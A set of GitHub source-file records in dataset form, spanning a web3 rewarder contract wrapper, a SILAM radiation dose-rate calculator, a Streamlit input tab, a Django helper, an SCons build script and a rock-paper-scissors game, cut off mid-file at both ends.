earned(self, address: str) -> int:\n \"\"\"_summary_\n\n Args:\n address (str): address\n\n Returns:\n int: uint256\n \"\"\"\n return await self.call_function_autoRpc(\n \"earned\", None, Web3.to_checksum_address(address)\n )\n\n @property\n async def emergency(self) -> bool:\n \"\"\"_summary_\n\n Returns:\n bool: bool\n \"\"\"\n if not self._emergency:\n self._emergency = await self.call_function_autoRpc(\"emergency\")\n return self._emergency\n\n @property\n async def external_bribe(self) -> str:\n \"\"\"_summary_\n\n Returns:\n str: address\n \"\"\"\n if not self._external_bribe:\n self._external_bribe = await self.call_function_autoRpc(\"external_bribe\")\n return self._external_bribe\n\n @property\n async def feeVault(self) -> str:\n \"\"\"_summary_\n\n Returns:\n str: address\n \"\"\"\n if not self._feeVault:\n self._feeVault = await self.call_function_autoRpc(\"feeVault\")\n return self._feeVault\n\n @property\n async def fees0(self) -> int:\n \"\"\"_summary_\n\n Returns:\n int: uint256\n \"\"\"\n if not self._fees0:\n self._fees0 = await self.call_function_autoRpc(\"fees0\")\n return self._fees0\n\n @property\n async def fees1(self) -> int:\n \"\"\"_summary_\n\n Returns:\n int: uint256\n \"\"\"\n if not self._fees1:\n self._fees1 = await self.call_function_autoRpc(\"fees1\")\n return self._fees1\n\n @property\n async def gaugeRewarder(self) -> str:\n \"\"\"_summary_\n\n Returns:\n str: address\n \"\"\"\n if not self._gaugeRewarder:\n self._gaugeRewarder = await self.call_function_autoRpc(\"gaugeRewarder\")\n return self._gaugeRewarder\n\n @property\n async def internal_bribe(self) -> str:\n \"\"\"_summary_\n\n Returns:\n str: address\n \"\"\"\n if not self._internal_bribe:\n self._internal_bribe = await self.call_function_autoRpc(\"internal_bribe\")\n return self._internal_bribe\n\n @property\n async def lastTimeRewardApplicable(self) -> int:\n \"\"\"_summary_\n\n Returns:\n int: uint256\n \"\"\"\n if not self._lastTimeRewardApplicable:\n self._lastTimeRewardApplicable = await self.call_function_autoRpc(\n \"lastTimeRewardApplicable\"\n )\n return self._lastTimeRewardApplicable\n\n @property\n async def lastUpdateTime(self) -> int:\n \"\"\"_summary_\n\n Returns:\n int: uint256\n \"\"\"\n if not self._lastUpdateTime:\n self._lastUpdateTime = await self.call_function_autoRpc(\"lastUpdateTime\")\n return self._lastUpdateTime\n\n @property\n async def owner(self) -> str:\n \"\"\"_summary_\n\n Returns:\n str: address\n \"\"\"\n if not self._owner:\n self._owner = await self.call_function_autoRpc(\"owner\")\n return self._owner\n\n # @property\n # async def periodFinish(self) -> int:\n # \"\"\"_summary_\n\n # Returns:\n # int: uint256\n # \"\"\"\n # if not self._periodFinish:\n # self._periodFinish = await self.call_function_autoRpc(\"periodFinish\")\n # return self._periodFinish\n\n @property\n async def rewardPerDuration(self) -> int:\n \"\"\"_summary_\n\n Returns:\n int: uint256\n \"\"\"\n if not self._rewardPerDuration:\n self._rewardPerDuration = await self.call_function_autoRpc(\n \"rewardPerDuration\"\n )\n return self._rewardPerDuration\n\n @property\n async def rewardPerToken(self) -> int:\n \"\"\"_summary_\n\n Returns:\n int: uint256\n \"\"\"\n if not self._rewardPerToken:\n self._rewardPerToken = await self.call_function_autoRpc(\"rewardPerToken\")\n return self._rewardPerToken\n\n @property\n async def rewardPerTokenStored(self) -> int:\n \"\"\"_summary_\n\n Returns:\n int: uint256\n \"\"\"\n if not self._rewardPerTokenStored:\n self._rewardPerTokenStored = await self.call_function_autoRpc(\n \"rewardPerTokenStored\"\n )\n return self._rewardPerTokenStored\n\n @property\n async def rewardRate(self) -> int:\n \"\"\"_summary_\n\n Returns:\n int: uint256\n \"\"\"\n if not self._rewardRate:\n self._rewardRate = await self.call_function_autoRpc(\"rewardRate\")\n return self._rewardRate\n\n @property\n async def rewardToken(self) -> str:\n \"\"\"_summary_\n\n Returns:\n str: address\n \"\"\"\n if not self._rewardToken:\n self._rewardToken = await self.call_function_autoRpc(\"rewardToken\")\n return self._rewardToken\n\n @property\n async def rewardPid(self) -> int:\n \"\"\"_summary_\n\n Returns:\n int: uint256\n \"\"\"\n if not self._rewardPid:\n self._rewardPid = await self.call_function_autoRpc(\"rewardPid\")\n return self._rewardPid\n\n async def rewards(self, address: str) -> int:\n \"\"\"_summary_\n\n Args:\n address (str): address\n\n Returns:\n int: uint256\n \"\"\"\n return await self.call_function_autoRpc(\n \"rewards\", None, Web3.to_checksum_address(address)\n )\n\n @property\n async def totalSupply(self) -> int:\n \"\"\"_summary_\n\n Returns:\n int: uint256\n \"\"\"\n if not self._totalSupply:\n self._totalSupply = await self.call_function_autoRpc(\"totalSupply\")\n return self._totalSupply\n\n async def userRewardPerTokenPaid(self, address: str) -> int:\n \"\"\"_summary_\n\n Args:\n address (str): address\n\n Returns:\n int: uint256\n \"\"\"\n return await self.call_function_autoRpc(\n \"userRewardPerTokenPaid\", None, Web3.to_checksum_address(address)\n )\n","repo_name":"GammaStrategies/gamma_endpoint","sub_path":"sources/web3/bins/w3/objects/rewarders.py","file_name":"rewarders.py","file_ext":"py","file_size_in_byte":57315,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"2"} +{"seq_id":"72439155246","text":"Import('env')\n\n# build the source sub dirs.\nsubdirs = env['SOURCE_DIRS']\n# add source/ to CPPPATH so it is used when searching for includes.\n[env.Append(CPPPATH='#source/%s'%subdir) for subdir in subdirs]\n\nobjs = []\n# Builds the subdirs, get the objects\nfor subdir in subdirs:\n objs.append(SConscript('%s/SConscript'%(subdir)))\n\nReturn('objs')\n\n# vim: set filetype=python :\n","repo_name":"deeice/bunjalloo","sub_path":"libndspp/source/SConscript","file_name":"SConscript","file_ext":"","file_size_in_byte":380,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"2"} +{"seq_id":"1902981612","text":"def perm_pavements_tab(tab_object):\n tab_object.header('Design and Maintenance Options')\n tab_object.subheader(\"Watershed Characteristics\")\n perm_pavement_surface_area = tab_object.number_input('Surface Area of Permeable Pavement System (ft. squared)', value=21780)\n drainage_area = tab_object.number_input('Drainage Area (ac)', value=perm_pavement_surface_area)\n drainage_area_ic = tab_object.number_input('Drainage Area Impervious Cover (percent)', value=100, key=\"perm_pavements_drainage_area_ic\")\n watershed_land_use_type = tab_object.selectbox('Watershed Land Use Type', ('Residential',\n 'Commercial',\n 'Industrial',\n 'Roads'), key=\"perm_pavements_wlut\")\n\n tab_object.subheader(\"Design and Maintenance Options\")\n pavement_type = tab_object.selectbox(\"Choose a Pavement Type\", (\"Asphalt\",\n \"Porous Concrete\",\n \"Grass/Gravel Pavers\",\n \"Interlocking Concrete Paving Blocks\",\n \"Other\"))\n capital_cost_level = tab_object.selectbox(\"Capital Cost Level\", (\"High\", \"Low\"))\n level_of_maintenance = tab_object.selectbox(\"Choose Level of Maintenance\", (\"Medium\", \"High\", \"Low\"), key=\"perm_pavements_lom\")\n\n tab_object.subheader(\"Whole Life Cost Options\")\n discount_rate = tab_object.number_input('Discount Rate', value=5.50, key=\"perm_pavements_discount_rate\")\n return tab_object\n","repo_name":"networked-intelligence-lab/tdot-gi-streamlit","sub_path":"pages/old/ct_scripts/permeable_pavements.py","file_name":"permeable_pavements.py","file_ext":"py","file_size_in_byte":1815,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"7113484707","text":"# Dose rate calculator v0.6\n#\n# Code for calculating dose rates from SILAM netcdf files\n#\n# Usage: python doserate_v1_0.py \n# : path to folder where the input netcdf files (SILAM output files) are located\n# : heights of the planes where the dose rate is to be calculated, \n# given in meters and as sequence separated by commas (without any spaces!)\n# : e -> output as function of energy, missing or something else: output not as function of energy\n#\n# output of the files: netcdf files with dose rates from in-air, dry-deposited and wet-deposited radioactive species\n# the output files are written into the same folder as the input files\n#\n# The dose rate calculator finds all files ending with .nc and .nc4 in the input folder, and then looks for activities \n# given in Bq/m3 in variables starting with 'cnc', 'wd' and 'dd'.\n#\n# The dose rate calculator approximates the radioactive cloud to be semi-infinite in the xy-plane, which is a good \n# approximation for normal dispersion model output (horizontal cell size of the order of 1 km or more). The dose rates\n# are integrated using cylindrical coordinates. 2D numerical integration is applied despite that the problem is strictly\n# 1D, as the relevant integral lacks an analytical solution. In case faster computation times are needed, the code could\n# be modified to use tabulated values for the redundant dimension.\n#\n# Vertical integration weights are calculated for 14 different energies (listed in the 'data' dictionary below), with \n# interpolation of the weights applied for all intermediate emission energies. The vertical integration weights are \n# calculated only at the start, or when a new file has different vertical levels than the previous one.\n#\n# Possible metastable daughters are checked for having same emission energies as the parent nuclide. If such energies are\n# found, they are removed (as nuclide databases may double count the same emission for both the parent and metastable\n# daughter).\n#\n# The air density is taken from a standard atmosphere, assuming sea level pressure at zero height. The use of Berger's\n# coefficients, derived for a homogeneous air density, introduces errors when calculating the dose rate across\n# a vertically thick and thus inhomogeneous portion of the atmosphere, but the attenuation across such a thick portion\n# (so thick that it renders the air density significantly inhomogeneous) is substantial and should render the absolute\n# value of the error small for most cases.\n#\n# In case the input data is a function of hybrid levels, it should contain a variable that maps the hybrid levels\n# into height in meters as a function of a standard atmosphere (this is true for SILAM output).\n\nimport numpy as np\nfrom netCDF4 import Dataset\nimport os, sys, datetime as dt\n\n# nuclib module by STUK (the custom query the emission data from the STUK database)\nfrom nuclib import custom_query\n\n# data matrix based on \n# CALCULATION OF GAMMA-RAY DOSE RATE FROM AIRBORNE AND DEPOSITED ACTIVITY,\n# CERC, P20/01N/17, August2017\n# https://www.cerc.co.uk/environmental-software/assets/data/doc_techspec/P20_01.pdf\n\n# {photon energy (MeV) : \n# [mu0 (1/m), Berger's a, Berger's b, mu_absorption*energy (Gy m**2), conversion fact. (Sv/Gy)]}\n# mu0 is the attenuation coefficient at sea level\ndata = {0.01 : [0.623, 0.025, -0.0464, 7.43e-16, 0.00296],\n 0.015 : [0.187, 0.0947, -0.0484, 3.12e-16, 0.0183],\n 0.02 : [0.0893, 0.2652, -0.0463, 1.68e-16, 0.0543],\n 0.03 : [0.0411, 1.055, -0.0192, 0.721e-16, 0.191],\n 0.05 : [0.0253, 3.498, 0.0729, 0.323e-16, 0.557],\n 0.065 : [0.0226, 4.209, 0.1169, 0.278e-16, 0.63],\n 0.1 : [0.0195, 4.033, 0.1653, 0.371e-16, 0.765],\n 0.2 : [0.0159, 2.678, 0.1678, 0.856e-16, 0.703],\n 0.5 : [0.0112, 1.748, 0.1014, 2.38e-16, 0.689],\n 1.0 : [0.00821, 1.269, 0.0559, 4.47e-16, 0.732],\n 1.5 : [0.00668, 1.040, 0.0338, 6.12e-16, 0.765],\n 2.0 : [0.00574, 0.891, 0.0215, 7.50e-16, 0.791],\n 4.0 : [0.00398, 0.5879, 0.0022, 12.0e-16, 0.850],\n 10 : [2.65e-3, 0.3113, -0.0194, 23.1e-16, 0.935]}\n\n#computes the relative air density for a standard atmosphere from height in meters\ndef rel_air_dens(height):\n ad_0 = 1.225\n p_0 = 101325\n T_0 = 288.15\n R=287.04\n g=9.81\n\n ad = np.zeros(len(height))\n\n for i, h in enumerate(height): \n if h <= 11000:\n p = p_0* (1-0.0065*(h/T_0))**5.2561\n T = T_0 - h*6.5e-3\n ad[i] = p/(R*T)\n else:\n T_11 = 216.65\n p_11 = 22632\n p = p_11 * np.exp(-g/(R*T_11)*(h-11000))\n ad[i] = p/(R*T_11)\n\n return ad/ad_0\n\n# Calculation of integration weights for the activity concentrations in a column of cells.\n# The activity is approximated to be infinite in the xy plane for a given column.\n# A cylindrical coordinate system is used.\ndef calc_weights(height, thickness, ad, dr_h, inds_dr_h, mu0, a, b):\n weights = np.zeros(len(height))\n \n for i in range(len(height)):\n bottom = np.sum(thickness[:i])\n top = np.sum(thickness[:i+1])\n\n #mu0 is scaled with the average relative air density\n if i in inds_dr_h:\n ad_scaling = ad[i]\n else:\n i_dr_h = np.min(inds_dr_h)\n\n if dr_h > top:\n ad_scaling = np.dot(ad[i+1:i_dr_h], thickness[i+1:i_dr_h])\n ad_scaling += ad[i_dr_h]*(dr_h-np.sum(thickness[:i_dr_h]))\n elif dr_h < bottom:\n ad_scaling = np.dot(ad[i_dr_h+1:i], thickness[i_dr_h+1:i])\n ad_scaling += ad[i_dr_h]*(np.sum(thickness[:i_dr_h+1])-dr_h)\n else:\n ad_scaling = 0\n\n ad_scaling = (ad_scaling + 0.5*thickness[i]*ad[i])/abs(dr_h-height[i])\n\n mu = mu0*ad_scaling\n\n # very rough optimization of the integration step length\n if dr_h >= bottom and dr_h <= top:\n drho = 0.05/mu**0.33\n dz = 0.05/mu**0.33\n else:\n drho = abs(height[i]-dr_h)*0.001/mu**0.33\n dz = abs(height[i]-dr_h)*0.001/mu**0.33\n\n # 1500 m radius of the integration area in the xy plane\n rho_range = np.arange(0, 1500, drho) + drho/2.\n z_range = np.arange(bottom-dr_h, top-dr_h, dz) + dz/2.\n z, rho = np.meshgrid(z_range, rho_range)\n r2 = z**2 + rho**2\n r = r2**0.5\n weights[i] += np.sum((rho*drho*dz) * 0.5 * (1+a*mu*r*np.exp(b*mu*r)) * np.exp(-mu*r2**0.5)/r2)\n\n return weights\n\n# weight for the deposition \n# the deposited activity is approximated to be infinte and homogeneous in the xy plane\ndef calc_weight_depo(thickness, ad, dr_h, inds_dr_h, mu0, a, b):\n i_dr_h = np.min(inds_dr_h)\n mu = mu0*(np.dot(ad[:i_dr_h], thickness[:i_dr_h]) + (dr_h-np.sum(thickness[:i_dr_h]))*ad[i_dr_h])/dr_h\n drho = 0.05\n rho = np.arange(0, 1500, drho) + drho/2\n r2 = dr_h**2 + rho**2\n r = r2**0.5\n return np.sum((rho*drho) * 0.5 * (1+a*mu*r*np.exp(b*mu*r)) * np.exp(-mu*r2**0.5)/r2)\n\ndef convert_silam_name(species):\n species = list(species.replace('_','-').lower())\n species[0] = species[0].upper()\n if species[-1] == 'm':\n species[-1] = 'M'\n return ''.join(species)\n\ndef get_ems_data(species, species_list):\n species = convert_silam_name(species)\n\n energies = []\n fractions = []\n # Possible metastable daughters:\n metastable_daughters = []\n\n lines = custom_query(species, 'libLines', False, 'lineType,energy,emissionProb,daughterNuclideId')\n lines = ''.join(lines).split('\\n')\n\n for line in lines:\n line = line.split(' ')\n if (line[0] == 'G' or line[0] == 'X') and line[3] != species and line[2] != 'None':\n energies.append(float(line[1])*1e-3)\n fractions.append(float(line[2]))\n if not species.endswith('M') and line[3]+'M' in species_list:\n metastable_daughters.append(line[3] + 'M')\n return energies, fractions, metastable_daughters\n\ndef read_branching(species, species_list):\n energies_in, fractions_in, metastable_daughters = get_ems_data(species, species_list)\n \n if len(metastable_daughters) == 0:\n # no possible metastable daughters\n return energies_in, fractions_in\n\n for daughter in metastable_daughters:\n # possible metastable daughters, whose emissions may be double counted in the\n # database, and need thus to be removed\n energies = []\n fractions = []\n if daughter in species_list:\n energies_d, _, _ = get_ems_data(daughter, species_list)\n\n for ie, energy in enumerate(energies_in):\n # if the emission energy of the metastable daughter equals the \n # emission energy of the parent (in the database), it is assumed to \n # be a double counting and thus not included in the emissions\n if not (energy in energies_d):\n energies.append(energy)\n fractions.append(fractions_in[ie])\n energies_in = energies\n fractions_in = fractions\n\n return energies, fractions\n\ndef init_netcdf(filename, times, heights, lats, lons, lat_unit, lon_unit, \n time_unit, energy_dim_in_output, energies, nc_attributes):\n # write NetCDF file coordinate variables and metadata\n df_out = Dataset(filename, mode='w')\n # set global NetCDF attributes\n for key, value in nc_attributes.items():\n df_out.setncattr(key,value)\n\n if energy_dim_in_output:\n df_out.createDimension('energy', len(energies))\n energy = df_out.createVariable('energy', np.float32, ('energy'))\n energy[:] = energies\n energy.units = 'MeV'\n\n df_out.createDimension('time', len(times))\n df_out.createDimension('height', len(heights))\n df_out.createDimension('lat', len(lats))\n df_out.createDimension('lon', len(lons))\n \n time = df_out.createVariable('time', 'i', ('time',))\n height = df_out.createVariable('height', 'f', ('height',))\n lat = df_out.createVariable('lat', 'f', ('lat',))\n lon = df_out.createVariable('lon', 'f', ('lon',))\n\n # set units\n time.units = time_unit\n height.units = 'm'\n lat.units = lat_unit\n lon.units = lon_unit\n\n # set axes and other metadata\n lon._CoordinateAxisType = \"Lon\"\n lon.axis = \"X\"\n lon.standard_name = \"longitude\"\n lon.long_name = \"longitude\"\n lat._CoordinateAxisType = \"Lat\"\n lat.axis = \"Y\"\n lat.standard_name = \"latitude\"\n lon.long_name = \"latitude\"\n height.positive = \"up\"\n height.axis = \"Z\"\n height.standard_name = \"height\"\n height.long_name = \"height\"\n time.long_name = \"time\"\n time.axis = \"T\"\n time.standard_name = \"time\"\n time.calendar = \"standard\"\n \n time[:] = times\n height[:] = heights\n lat[:] = lats\n lon[:] = lons\n \n return df_out\n\ndef write_field(df_out, ncfile, field_name, vals, unit, energy_dim_in_output):\n print('writing field:', field_name)\n if energy_dim_in_output:\n field = df_out.createVariable(field_name, 'f', ('energy','time','height','lat','lon'), zlib=True)\n else:\n field = df_out.createVariable(field_name, 'f', ('time','height','lat','lon'), zlib=True)\n field.units = unit\n field[:] = vals\n return df_out\n\nif __name__ == '__main__':\n\n input_folder = sys.argv[1]\n if not os.path.exists(input_folder):\n print('The folder', input_folder, 'does not exist')\n quit()\n\n # the output folder is here hard-coded to be the input folder (but it could be set as an argument instead)\n output_folder = input_folder\n\n # in case some other folder is selected for the output\n if not os.path.exists(output_folder):\n os.makedirs(output_folder)\n\n # the input files must end with .nc or .nc4\n ncfiles = np.sort([f for f in os.listdir(input_folder) if os.path.isfile(os.path.join(input_folder, f)) and (f.endswith('.nc') or f.endswith('.nc4'))])\n if len(ncfiles) == 0:\n print('No netCDF files found in folder', input_folder)\n quit()\n\n # the heights for the dose rate calculation in meters\n dr_calc_height_m = np.float32(np.array(sys.argv[2].split(',')))\n\n for dr_h in dr_calc_height_m:\n if dr_h < 0:\n print('negative height in the input data:' %dr_h)\n quit()\n\n energy_dim_in_output = False\n if len(sys.argv) > 3:\n if sys.argv[3] == 'e':\n energy_dim_in_output = True\n\n if energy_dim_in_output:\n print('output fields as functions of energy, time, height, lat, and lon')\n else:\n print('output fields as functions of time, height, lat, and lon')\n\n height_old = []\n variables_old = []\n\n for ncfile in ncfiles:\n print('new input file:', os.path.join(input_folder, ncfile))\n df = Dataset(os.path.join(input_folder, ncfile),mode='r')\n\n if 'height' in df.variables.keys():\n # The input data is a function of height in meters. The height refers to model layer midpoints.\n height = df.variables['height'][:]\n else:\n # If the model output is as function of hybrid levels, it should contain a 1D variable named 'hybrid' that contains\n # the heights of the hybrid levels based on a standard atmosphere.\n if 'hybrid' in df.variables.keys():\n print('no height dimension found in the input file, using hybrid converted to height in a standard atmosphere')\n height = df.variables['hybrid'][:]\n else:\n print('no height or hybrid dimension found in the input file, skipping')\n continue\n\n variables_cnc = [v for v in df.variables.keys() if v.startswith('cnc') and df.variables[v].units == 'Bq/m3']\n if len(variables_cnc) == 0:\n print('no radioactive species found in the input file, skipping')\n continue\n\n # the thicknesses of the model layers\n thickness = np.zeros(len(height))\n bottom = 0\n for i in range(len(height)):\n top = bottom+2*(height[i]-bottom)\n thickness[i] = top-bottom\n bottom=top\n\n if np.max(dr_calc_height_m) > np.sum(thickness):\n print('the maximum requested height, %f m, is outside the domain, skipping file' %np.max(dr_calc_height_m))\n continue\n\n lats = df.variables['lat'][:]\n lons = df.variables['lon'][:]\n time = df.variables['time'][:]\n\n lat_unit = df.variables['lat'].units\n lon_unit = df.variables['lon'].units\n time_unit = df.variables['time'].units\n \n filename_out, _ = os.path.splitext(ncfile)\n filename_out += '_dose_rate.nc4'\n filename_out = os.path.join(output_folder, filename_out)\n\n # If the file has different cell heights than the previous file (or if it is the first file),\n # the integration weights need to be computed.\n # For a single SILAM run, this is needs to be done only once\n \n if not (height in height_old and len(height) == len(height_old)):\n print('computing weights for vertical integration')\n weights_m = np.zeros((len(dr_calc_height_m), len(data), len(height)))\n weights_depo = np.zeros((len(dr_calc_height_m), len(data)))\n\n # relative air density \n ad = rel_air_dens(height)\n\n for ih_out, dr_h in enumerate(dr_calc_height_m):\n\n inds_dr_h = []\n for i in range(len(height)):\n bottom = np.sum(thickness[:i])\n top = np.sum(thickness[:i+1])\n if dr_h >= bottom and dr_h <= top:\n inds_dr_h.append(i)\n\n for ie, energy in enumerate(data):\n vals = data[energy]\n weights_m[ih_out, ie] = calc_weights(height, thickness, ad, dr_h, inds_dr_h, vals[0], vals[1], vals[2])\n weights_depo[ih_out, ie] = calc_weight_depo(thickness, ad, dr_h, inds_dr_h, vals[0], vals[1], vals[2])\n height_old = height\n\n print('done')\n\n # If the cell has different species than the previous file (or if it is the first file),\n # the interpolation weights of the energies need to be computed\n # For a single SILAM run, this is needs to be done only once\n \n if not variables_cnc == variables_old:\n print('computing weights for energy interpolation')\n species_list = []\n for var in variables_cnc:\n species_list.append(convert_silam_name(df.variables[var].substance_name))\n\n var_weights = np.zeros((len(variables_cnc), len(data)))\n energies_out = np.array(list(data.keys()))\n\n for ivar, var in enumerate(variables_cnc):\n species = convert_silam_name(df.variables[var].substance_name)\n var_energies, var_ratios = read_branching(species, species_list)\n if len(var_energies) == 0 or len(var_ratios) == 0:\n print('***************************************')\n print('WARNING!!!!')\n print('no emission data for %s' % species)\n print('***************************************')\n for ievar, evar in enumerate(var_energies):\n ind = np.where(evar <= energies_out)[0][0]-1\n if ind < 0:\n continue\n # exponential growth assumed between the interpolation values\n frac = (np.exp(evar)-np.exp(energies_out[ind]))/(np.exp(energies_out[ind+1])-np.exp(energies_out[ind]))\n var_weights[ivar,ind] += (1-frac) * var_ratios[ievar]\n var_weights[ivar,ind+1] += frac * var_ratios[ievar]\n variables_old = variables_cnc\n print('done')\n\n # read SILAM file global attributes\n attrs = (\"Conventions\", \"source\", \"_CoordinateModelRunDate\", \"grid_projection\",\n \"pole_lat\", \"pole_lon\")\n nc_attributes = {}\n for name in df.ncattrs():\n if name in attrs:\n nc_attributes[name] = getattr(df, name)\n # set history variable\n nc_attributes[\"history\"] = \"Created by the dose rate calculator v0.6 from {}\".format(df.filepath())\n\n print('initializing output file:', filename_out)\n df_out = init_netcdf(filename_out, time, dr_calc_height_m, lats, lons, \n lat_unit, lon_unit, time_unit, energy_dim_in_output, \n energies_out, nc_attributes)\n\n for ivar, variable in enumerate(variables_cnc):\n calc = [True, False, False]\n cnc = df.variables[variable][:]\n \n if len(cnc.shape) != 4:\n print('concentrations need to be 4D (time, height/hybrid, lat, lon), skipping variable', variable)\n calc[0] = False\n\n if 'dd' + variable[3:] in df.variables.keys():\n calc[1] = True\n dd = df.variables['dd' + variable[3:]][:]\n if len(dd.shape) != 3:\n print('depositions need to be 3D (time, lat, lon), skipping variable', 'dd' + variable[3:])\n calc[1] = False\n else:\n print('No dry deposition of %s in the input file' %variable[3:])\n\n if 'wd' + variable[3:] in df.variables.keys():\n calc[2] = True\n wd = df.variables['wd' + variable[3:]][:]\n if len(wd.shape) != 3:\n print('depositions need to be 3D (time, lat, lon), skipping variable', 'wd' + variable[3:])\n calc[2] = False\n else:\n print('No wet deposition of %s in the input file' %variable[3:])\n\n if energy_dim_in_output:\n doserate_cnc = np.zeros((len(energies_out), len(time), len(dr_calc_height_m), len(lats), len(lons)))\n doserate_wd = np.zeros((len(energies_out), len(time), len(dr_calc_height_m), len(lats), len(lons)))\n doserate_dd = np.zeros((len(energies_out), len(time), len(dr_calc_height_m), len(lats), len(lons)))\n else:\n doserate_cnc = np.zeros((len(time), len(dr_calc_height_m), len(lats), len(lons)))\n doserate_wd = np.zeros((len(time), len(dr_calc_height_m), len(lats), len(lons)))\n doserate_dd = np.zeros((len(time), len(dr_calc_height_m), len(lats), len(lons)))\n \n for it in range(len(time)):\n for ih_out in range(len(dr_calc_height_m)):\n for ie, energy in enumerate(energies_out):\n if energy_dim_in_output:\n if calc[0]:\n doserate_cnc[ie, it, ih_out] += var_weights[ivar, ie]*data[energy][3]*data[energy][4]*np.dot(cnc[it].T, weights_m[ih_out, ie]).T\n if calc[1]:\n doserate_dd[ie, it, ih_out] += var_weights[ivar, ie]*data[energy][3]*data[energy][4]*dd[it]*weights_depo[ih_out, ie]\n if calc[2]:\n doserate_wd[ie, it, ih_out] += var_weights[ivar, ie]*data[energy][3]*data[energy][4]*wd[it]*weights_depo[ih_out, ie]\n else:\n if calc[0]:\n doserate_cnc[it, ih_out] += var_weights[ivar, ie]*data[energy][3]*data[energy][4]*np.dot(cnc[it].T, weights_m[ih_out, ie]).T\n if calc[1]:\n doserate_dd[it, ih_out] += var_weights[ivar, ie]*data[energy][3]*data[energy][4]*dd[it]*weights_depo[ih_out, ie]\n if calc[2]:\n doserate_wd[it, ih_out] += var_weights[ivar, ie]*data[energy][3]*data[energy][4]*wd[it]*weights_depo[ih_out, ie]\n\n if calc[0]:\n df_out = write_field(df_out, filename_out, 'dose_rate_cloud' + variable[3:], doserate_cnc, 'Sv/s', energy_dim_in_output)\n if calc[1]:\n df_out = write_field(df_out, filename_out, 'dose_rate_wd' + variable[3:], doserate_dd, 'Sv/s', energy_dim_in_output)\n if calc[2]:\n df_out = write_field(df_out, filename_out, 'dose_rate_dd' + variable[3:], doserate_wd, 'Sv/s', energy_dim_in_output)\n\n df.close()\n df_out.close()\n","repo_name":"fmidev/dose_rate_calculator","sub_path":"doserate_v0_6.py","file_name":"doserate_v0_6.py","file_ext":"py","file_size_in_byte":22920,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"14635063652","text":"import random\n\nrock = '''\n _______\n---' ____)\n (_____)\n (_____)\n (____)\n---.__(___)\n'''\n\npaper = '''\n _______\n---' ____)____\n ______)\n _______)\n _______)\n---.__________)\n'''\n\nscissors = '''\n _______\n---' ____)____\n ______)\n __________)\n (____)\n---.__(___)\n'''\n\noptions = [rock, paper, scissors]\n\nprint(\"What do you choose?\\nType 0 for Rock, 1 for Paper or 2 for Scissors.\")\nuser_choice = int(input())\n\nprint(options[user_choice])\n\nprint(\"Computer chose:\\n\")\ncomputer_choice = random.randint(0,2)\nprint(options[computer_choice])\n\nif user_choice == computer_choice:\n print(\"Draw!\")\nelif user_choice == 0:\n if computer_choice == 1:\n print(\"You lose.\")\n else:\n print(\"You win!\")\nelif user_choice == 1:\n if computer_choice == 0:\n print(\"You win!\")\n else:\n print(\"You lose.\")\nelif user_choice == 2:\n if computer_choice == 0:\n print(\"You lose.\")\n else:\n print(\"You win!\")\n\n\n# Output\n# What do you choose?\n# Type 0 for Rock, 1 for Paper or 2 for Scissors.\n# 1\n\n# _______\n# ---' ____)____\n# ______)\n# _______)\n# _______)\n# ---.__________)\n\n# Computer chose:\n\n\n# _______\n# ---' ____)\n# (_____)\n# (_____)\n# (____)\n# ---.__(___)\n\n# You win!","repo_name":"guptaraghav01/100DaysOfCode","sub_path":"day4/rockPaperScissors.py","file_name":"rockPaperScissors.py","file_ext":"py","file_size_in_byte":1326,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"2"} +{"seq_id":"73899610286","text":"# -*- coding: utf-8 -*-\r\n#\r\n# ---------------------------------------\r\n# 程序:util.py\r\n# 版本:0.3\r\n# 作者:lds\r\n# 日期:2019-01-21\r\n# 语言:Python 3.X\r\n# 说明:常用的函数集合\r\n# ---------------------------------------\r\nimport os\r\nimport sys\r\nimport random\r\n\r\nfrom ilds.util import CLEAN_STR\r\n\r\n\r\n# https://stackoverflow.com/questions/8047204/django-script-to-access-model-objects-without-using-manage-py-shell\r\ndef django_setup(project_name=None, site_path=None):\r\n \"\"\"\r\n 设置 Django 运行环境\r\n\r\n from ilds.django.util import django_setup\r\n django_setup(r'mysite', site_path=None)\r\n \"\"\"\r\n\r\n if site_path is not None:\r\n sys.path.insert(0, site_path)\r\n\r\n if project_name is None:\r\n project_name = os.path.split(os.path.dirname(__file__))[-1]\r\n print('项目:', project_name)\r\n os.environ.setdefault(\"DJANGO_SETTINGS_MODULE\", \"{}.settings\".format(project_name))\r\n try:\r\n import django\r\n django.setup()\r\n except ModuleNotFoundError as e:\r\n print(\"注:如果找不到 Django,请安装它: pip install django\\n错误提示:\", e)\r\n exit()\r\n\r\n\r\ndef random_key():\r\n \"\"\"\r\n 生成 Django 使用的 SECRET_KEY\r\n\r\n from ilds.django.util import random_key\r\n print(random_key())\r\n \"\"\"\r\n\r\n return ''.join(\r\n [random.SystemRandom().choice('abcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*(-_=+)') for i in range(50)])\r\n\r\n\r\ndef doc():\r\n \"\"\"\r\n 打印模块说明文档\r\n \"\"\"\r\n doc_text = \"\"\"\"\"\"\r\n doc_text += '\\n'\r\n doc_text += 'CLEAN_STR\\n 需要清洗的字符(用在歌曲名,表演者匹配的时候)\\n\\n'\r\n doc_text += '{fun.__name__}{fun.__doc__}\\n'.format(fun=django_setup)\r\n doc_text += '{fun.__name__}{fun.__doc__}\\n'.format(fun=random_key)\r\n print(doc_text)\r\n\r\n\r\nif __name__ == '__main__':\r\n # 记录运行时间 --------------------------------------------------\r\n from time import time, sleep\r\n\r\n start_time = t1 = time()\r\n\r\n doc()\r\n\r\n print('运行时间 %.2f 秒' % (time() - start_time))\r\n","repo_name":"ldsxp/ilds","sub_path":"ilds/django/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":2085,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"2"} +{"seq_id":"17204683550","text":"from matplotlib import pylab, lines, mlab\nimport numpy as np\nfrom sympy import diff, symbols, cos, sin\n\ndef test_conditions(pr, func, func_d1, func_d2):\n x = pr\n func = eval(str(func))\n func_d1 = eval(str(func_d1))\n func_d2 = eval(str(func_d2))\n \n if func.real < 100 and func.real > -100:\n if func.imag < 100 and func.imag > -100:\n graf1.plot(func.real, func.imag, '-g.')\n\n if func != 0 